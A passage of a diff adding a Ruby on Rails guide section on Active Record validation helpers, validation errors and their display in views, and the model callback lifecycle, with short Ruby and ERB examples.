+The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
+
+h4. +confirmation+
+
+You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :email, :confirmation => true
+end
+</ruby>
+
+In your view template you could use something like
+
+<erb>
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+</erb>
+
+This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide):
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :email, :confirmation => true
+  validates :email_confirmation, :presence => true
+end
+</ruby>
+
+The default error message for this helper is "_doesn't match confirmation_".
+
+h4. +exclusion+
+
+This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
+
+<ruby>
+class Account < ActiveRecord::Base
+  validates :subdomain, :exclusion => { :in => %w(www us ca jp),
+    :message => "Subdomain %{value} is reserved." }
+end
+</ruby>
+
+The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
+
+The default error message is "_is reserved_".
+
+h4. +format+
+
+This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option.
+
+<ruby>
+class Product < ActiveRecord::Base
+  validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/,
+    :message => "Only letters allowed" }
+end
+</ruby>
+
+The default error message is "_is invalid_".
+
+h4. +inclusion+
+
+This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
+
+<ruby>
+class Coffee < ActiveRecord::Base
+  validates :size, :inclusion => { :in => %w(small medium large),
+    :message => "%{value} is not a valid size" }
+end
+</ruby>
+
+The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
+
+The default error message for this helper is "_is not included in the list_".
+
+h4. +length+
+
+This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :length => { :minimum => 2 }
+  validates :bio, :length => { :maximum => 500 }
+  validates :password, :length => { :in => 6..20 }
+  validates :registration_number, :length => { :is => 6 }
+end
+</ruby>
+
+The possible length constraint options are:
+
+* +:minimum+ - The attribute cannot have less than the specified length.
+* +:maximum+ - The attribute cannot have more than the specified length.
+* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
+* +:is+ - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :bio, :length => { :maximum => 1000,
+    :too_long => "%{count} characters is the maximum allowed" }
+end
+</ruby>
+
+This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
+
+<ruby>
+class Essay < ActiveRecord::Base
+  validates :content, :length => {
+    :minimum   => 300,
+    :maximum   => 400,
+    :tokenizer => lambda { |str| str.scan(/\w+/) },
+    :too_short => "must have at least %{count} words",
+    :too_long  => "must have at most %{count} words"
+  }
+end
+</ruby>
+
+Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+.
+
+The +size+ helper is an alias for +length+.
+
+h4. +numericality+
+
+This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
+
+If you set +:only_integer+ to +true+, then it will use the
+
+<ruby>
+/\A[<plus>-]?\d<plus>\Z/
+</ruby>
+
+regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
+
+WARNING. Note that the regular expression above allows a trailing newline character.
+
+<ruby>
+class Player < ActiveRecord::Base
+  validates :points, :numericality => true
+  validates :games_played, :numericality => { :only_integer => true }
+end
+</ruby>
+
+Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values:
+
+* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_".
+* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_".
+* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_".
+* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_".
+* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_".
+* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
+* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
+
+The default error message is "_is not a number_".
+
+h4. +presence+
+
+This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :login, :email, :presence => true
+end
+</ruby>
+
+If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
+
+<ruby>
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates :order_id, :presence => true
+end
+</ruby>
+
+If you validate the presence of an object associated via a +has_one+ or +has_many+ relationship, it will check that the object is neither +blank?+ nor +marked_for_destruction?+.
+
+Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>.
+
+The default error message is "_can't be empty_".
+
+h4. +uniqueness+
+
+This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.
+
+<ruby>
+class Account < ActiveRecord::Base
+  validates :email, :uniqueness => true
+end
+</ruby>
+
+The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.
+
+There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
+
+<ruby>
+class Holiday < ActiveRecord::Base
+  validates :name, :uniqueness => { :scope => :year,
+    :message => "should happen once per year" }
+end
+</ruby>
+
+There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :uniqueness => { :case_sensitive => false }
+end
+</ruby>
+
+WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
+
+The default error message is "_has already been taken_".
+
+h4. +validates_with+
+
+This helper passes the record to a separate class for validation.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator
+end
+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if record.first_name == "Evil"
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+</ruby>
+
+NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute.
+
+The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
+
+To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated.
+
+Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_with GoodnessValidator, :fields => [:first_name, :last_name]
+end
+
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if options[:fields].any?{|field| record.send(field) == "Evil" }
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+</ruby>
+
+h4. +validates_each+
+
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+  end
+end
+</ruby>
+
+The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
+
+h3. Common Validation Options
+
+These are common validation options:
+
+h4. +:allow_nil+
+
+The +:allow_nil+ option skips the validation when the value being validated is +nil+.
+
+<ruby>
+class Coffee < ActiveRecord::Base
+  validates :size, :inclusion => { :in => %w(small medium large),
+    :message => "%{value} is not a valid size" }, :allow_nil => true
+end
+</ruby>
+
+TIP: +:allow_nil+ is ignored by the presence validator.
+
+h4. +:allow_blank+
+
+The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
+
+<ruby>
+class Topic < ActiveRecord::Base
+  validates :title, :length => { :is => 5 }, :allow_blank => true
+end
+
+Topic.create("title" => "").valid?  # => true
+Topic.create("title" => nil).valid? # => true
+</ruby>
+
+TIP: +:allow_blank+ is ignored by the presence validator.
+
+h4. +:message+
+
+As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+
+h4. +:on+
+
+The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
+
+<ruby>
+class Person < ActiveRecord::Base
+  # it will be possible to update email with a duplicated value
+  validates :email, :uniqueness => true, :on => :create
+
+  # it will be possible to create the record with a non-numerical age
+  validates :age, :numericality => true, :on => :update
+
+  # the default (validates on both create and update)
+  validates :name, :presence => true, :on => :save
+end
+</ruby>
+
+h3. Strict Validations
+
+You can also specify validations to be strict and raise +ActiveModel::StrictValidationFailed+ when the object is invalid.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => { :strict => true }
+end
+
+Person.new.valid?  => ActiveModel::StrictValidationFailed: Name can't be blank
+</ruby>
+
+There is also an ability to pass custom exception to +:strict+ option
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :token, :presence => true, :uniqueness => true, :strict => TokenGenerationException
+end
+
+Person.new.valid?  => TokenGenerationException: Token can't be blank
+</ruby>
+
+h3. Conditional Validation
+
+Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
+
+h4. Using a Symbol with +:if+ and +:unless+
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+
+<ruby>
+class Order < ActiveRecord::Base
+  validates :card_number, :presence => true, :if => :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+</ruby>
+
+h4. Using a String with +:if+ and +:unless+
+
+You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :surname, :presence => true, :if => "name.nil?"
+end
+</ruby>
+
+h4. Using a Proc with +:if+ and +:unless+
+
+Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
+
+<ruby>
+class Account < ActiveRecord::Base
+  validates :password, :confirmation => true,
+    :unless => Proc.new { |a| a.password.blank? }
+end
+</ruby>
+
+h4. Grouping conditional validations
+
+Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+.
+
+<ruby>
+class User < ActiveRecord::Base
+  with_options :if => :is_admin? do |admin|
+    admin.validates :password, :length => { :minimum => 10 }
+    admin.validates :email, :presence => true
+  end
+end
+</ruby>
+
+All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
+
+h4. Combining validation conditions
+
+On the other hand, when multiple conditions define whether or not a validation should happen, an +Array+ can be used. Moreover, you can apply both +:if:+ and +:unless+ to the same validation.
+
+<ruby>
+class Computer < ActiveRecord::Base
+  validates :mouse, :presence => true,
+                    :if => ["market.retail?", :desktop?]
+                    :unless => Proc.new { |c| c.trackpad.present? }
+end
+</ruby>
+
+The validation only runs when all the +:if+ conditions and none of the +:unless+ conditions are evaluated to +true+.
+
+h3. Performing Custom Validations
+
+When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.
+
+h4. Custom Validators
+
+Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
+
+<ruby>
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    unless record.name.starts_with? 'X'
+      record.errors[:name] << 'Need a name starting with X please!'
+    end
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+</ruby>
+
+The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
+
+<ruby>
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
+      record.errors[attribute] << (options[:message] || "is not an email")
+    end
+  end
+end
+
+class Person < ActiveRecord::Base
+  validates :email, :presence => true, :email => true
+end
+</ruby>
+
+As shown in the example, you can also combine standard validations with your own custom validators.
+
+h4. Custom Methods
+
+You can also create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using the +validate+ class method, passing in the symbols for the validation methods' names.
+
+You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
+
+<ruby>
+class Invoice < ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    if !expiration_date.blank? and expiration_date < Date.today
+      errors.add(:expiration_date, "can't be in the past")
+    end
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    if discount > total_value
+      errors.add(:discount, "can't be greater than total value")
+    end
+  end
+end
+</ruby>
+
+By default such validations will run every time you call +valid?+. It is also possible to control when to run these custom validations by giving an +:on+ option to the +validate+ method, with either: +:create+ or +:update+.
+
+<ruby>
+class Invoice < ActiveRecord::Base
+  validate :active_customer, :on => :create
+
+  def active_customer
+    errors.add(:customer_id, "is not active") unless customer.active?
+  end
+end
+</ruby>
+
+You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:
+
+<ruby>
+ActiveRecord::Base.class_eval do
+  def self.validates_as_choice(attr_name, n, options={})
+    validates attr_name, :inclusion => { { :in => 1..n }.merge!(options) }
+  end
+end
+</ruby>
+
+Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
+
+<ruby>
+class Movie < ActiveRecord::Base
+  validates_as_choice :rating, 5
+end
+</ruby>
+
+h3. Working with Validation Errors
+
+In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the +ActiveModel::Errors+ documentation for a list of all the available methods.
+
+h4(#working_with_validation_errors-errors). +errors+
+
+Returns an instance of the class +ActiveModel::Errors+ containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true, :length => { :minimum => 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors
+ # => {:name => ["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(:name => "John Doe")
+person.valid? # => true
+person.errors # => []
+</ruby>
+
+h4(#working_with_validation_errors-errors-2). +errors[]+
+
++errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true, :length => { :minimum => 3 }
+end
+
+person = Person.new(:name => "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(:name => "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+</ruby>
+
+h4. +errors.add+
+
+The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
+
+<ruby>
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(:name => "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+</ruby>
+
+Another way to do this is using +[]=+ setter
+
+<ruby>
+  class Person < ActiveRecord::Base
+    def a_method_used_for_validation_purposes
+      errors[:name] = "cannot contain the characters !@#%*()_-+="
+    end
+  end
+
+  person = Person.create(:name => "!@#")
+
+  person.errors[:name]
+   # => ["cannot contain the characters !@#%*()_-+="]
+
+  person.errors.to_a
+   # => ["Name cannot contain the characters !@#%*()_-+="]
+</ruby>
+
+h4. +errors[:base]+
+
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors[:base] << "This person is invalid because ..."
+  end
+end
+</ruby>
+
+h4. +errors.clear+
+
+The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true, :length => { :minimum => 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+</ruby>
+
+h4. +errors.size+
+
+The +size+ method returns the total number of error messages for the object.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true, :length => { :minimum => 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(:name => "Andrea", :email => "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+</ruby>
+
+h3. Displaying Validation Errors in the View
+
+"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates.
+
+You can install it as a gem by adding this line to your Gemfile:
+
+<ruby>
+gem "dynamic_form"
+</ruby>
+
+Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
+
+h4. +error_messages+ and +error_messages_for+
+
+When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
+
+<ruby>
+class Product < ActiveRecord::Base
+  validates :description, :value, :presence => true
+  validates :value, :numericality => true, :allow_nil => true
+end
+</ruby>
+
+<erb>
+<%= form_for(@product) do |f| %>
+  <%= f.error_messages %>
+  <p>
+    <%= f.label :description %><br />
+    <%= f.text_field :description %>
+  </p>
+  <p>
+    <%= f.label :value %><br />
+    <%= f.text_field :value %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+</erb>
+
+If you submit the form with empty fields, the result will be similar to the one shown below:
+
+!images/error_messages.png(Error messages)!
+
+NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css.
+
+You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
+
+<erb>
+<%= error_messages_for :product %>
+</erb>
+
+The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
+
+Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
+
+<erb>
+<%= f.error_messages :header_message => "Invalid product!",
+  :message => "You'll need to fix the following fields:",
+  :header_tag => :h3 %>
+</erb>
+
+results in:
+
+!images/customized_error_messages.png(Customized error messages)!
+
+If you pass +nil+ in any of these options, the corresponding section of the +div+ will be discarded.
+
+h4(#customizing-error-messages-css). Customizing the Error Messages CSS
+
+The selectors used to customize the style of error messages are:
+
+* +.field_with_errors+ - Style for the form fields and labels with errors.
+* +#error_explanation+ - Style for the +div+ element with the error messages.
+* +#error_explanation h2+ - Style for the header of the +div+ element.
+* +#error_explanation p+ - Style for the paragraph holding the message that appears right below the header of the +div+ element.
+* +#error_explanation ul li+ - Style for the list items with individual error messages.
+
+If scaffolding was used, file +app/assets/stylesheets/scaffolds.css.scss+ will have been generated automatically. This file defines the red-based styles you saw in the examples above.
+
+The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
+
+h4. Customizing the Error Messages HTML
+
+By default, form fields with errors are displayed enclosed by a +div+ element with the +field_with_errors+ CSS class. However, it's possible to override that.
+
+The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
+
+* A string with the HTML tag
+* An instance of +ActionView::Helpers::InstanceTag+.
+
+Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+
+<ruby>
+ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+  errors = Array(instance.error_message).join(',')
+  %(#{html_tag}<span class="validation-error">&nbsp;#{errors}</span>).html_safe
+end
+</ruby>
+
+The result looks like the following:
+
+!images/validation_error_messages.png(Validation error messages)!
+
+h3. Callbacks Overview
+
+Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+h4. Callback Registration
+
+In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
+
+<ruby>
+class User < ActiveRecord::Base
+  validates :login, :email, :presence => true
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+  def ensure_login_has_a_value
+    if login.nil?
+      self.login = email unless email.blank?
+    end
+  end
+end
+</ruby>
+
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
+
+<ruby>
+class User < ActiveRecord::Base
+  validates :login, :email, :presence => true
+
+  before_create do |user|
+    user.name = user.login.capitalize if user.name.blank?
+  end
+end
+</ruby>
+
+It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+h3. Available Callbacks
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+h4. Creating an Object
+
+* +before_validation+
+* +after_validation+
+* +before_save+
+* +around_save+
+* +before_create+
+* +around_create+
+* +after_create+
+* +after_save+
+
+h4. Updating an Object
+
+* +before_validation+
+* +after_validation+
+* +before_save+
+* +around_save+
+* +before_update+
+* +around_update+
+* +after_update+
+* +after_save+
+
+h4. Destroying an Object
+
+* +before_destroy+
+* +around_destroy+
+* +after_destroy+
+
+WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
+
+h4. +after_initialize+ and +after_find+
+
+The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
+
+The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
+
+The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks.
+
+<ruby>
+class User < ActiveRecord::Base
+  after_initialize do |user|
+    puts "You have initialized an object!"
+  end
+
+  after_find do |user|
+    puts "You have found an object!"
+  end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+</ruby>
+
+h3. Running Callbacks
+
+The following methods trigger callbacks:
+
+* +create+
+* +create!+
+* +decrement!+
+* +destroy+
+* +destroy_all+
+* +increment!+
+* +save+
+* +save!+
+* +save(:validate => false)+
+* +toggle!+
+* +update+
+* +update_attribute+
+* +update_attributes+
+* +update_attributes!+
+* +valid?+
+
+Additionally, the +after_find+ callback is triggered by the following finder methods:
+
+* +all+
+* +first+
+* +find+
+* +find_all_by_<em>attribute</em>+
+* +find_by_<em>attribute</em>+
+* +find_by_<em>attribute</em>!+
+* +find_by_sql+
+* +last+
+
+The +after_initialize+ callback is triggered every time a new object of the class is initialized.
+
+h3. Skipping Callbacks
+
+Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
+* +decrement+
+* +decrement_counter+
+* +delete+
+* +delete_all+
+* +increment+
+* +increment_counter+
+* +toggle+
+* +touch+
+* +update_column+
+* +update_columns+
+* +update_all+
+* +update_counters+
+
+h3. Halting Execution
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any <em>before</em> callback method returns exactly +false+ or raises an exception, the execution chain gets halted and a ROLLBACK is issued; <em>after</em> callbacks can only accomplish that by raising an exception.
+
+WARNING. Raising an arbitrary exception may break code that expects +save+ and its friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+
+h3. Relational Callbacks
+
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
+
+<ruby>
+class User < ActiveRecord::Base
+  has_many :posts, :dependent => :destroy
+end
+
+class Post < ActiveRecord::Base
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Post destroyed'
+  end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+</ruby>
+
+h3. Conditional Callbacks
+
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the +:if+ and +:unless+ options, which can take a symbol, a string, a +Proc+ or an +Array+. You may use the +:if+ option when you want to specify under which conditions the callback *should* be called. If you want to specify the conditions under which the callback *should not* be called, then you may use the +:unless+ option.
+
+h4. Using +:if+ and +:unless+ with a +Symbol+
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
+
+<ruby>
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, :if => :paid_with_card?
+end
+</ruby>
+
+h4. Using +:if+ and +:unless+ with a String
+
+You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
+
+<ruby>
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, :if => "paid_with_card?"
+end
+</ruby>
+
+h4. Using +:if+ and +:unless+ with a +Proc+
+
+Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
+
+<ruby>
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number,
+    :if => Proc.new { |order| order.paid_with_card? }
+end
+</ruby>
+
+h4. Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
+
+<ruby>
+class Comment < ActiveRecord::Base
+  after_create :send_email_to_author, :if => :author_wants_emails?,
+    :unless => Proc.new { |comment| comment.post.ignore_comments? }
+end
+</ruby>
+
+h3. Callback Classes
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model:
+
+<ruby>
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    if File.exists?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+</ruby>
+
+When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks.new
+end
+</ruby>
+
+Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+
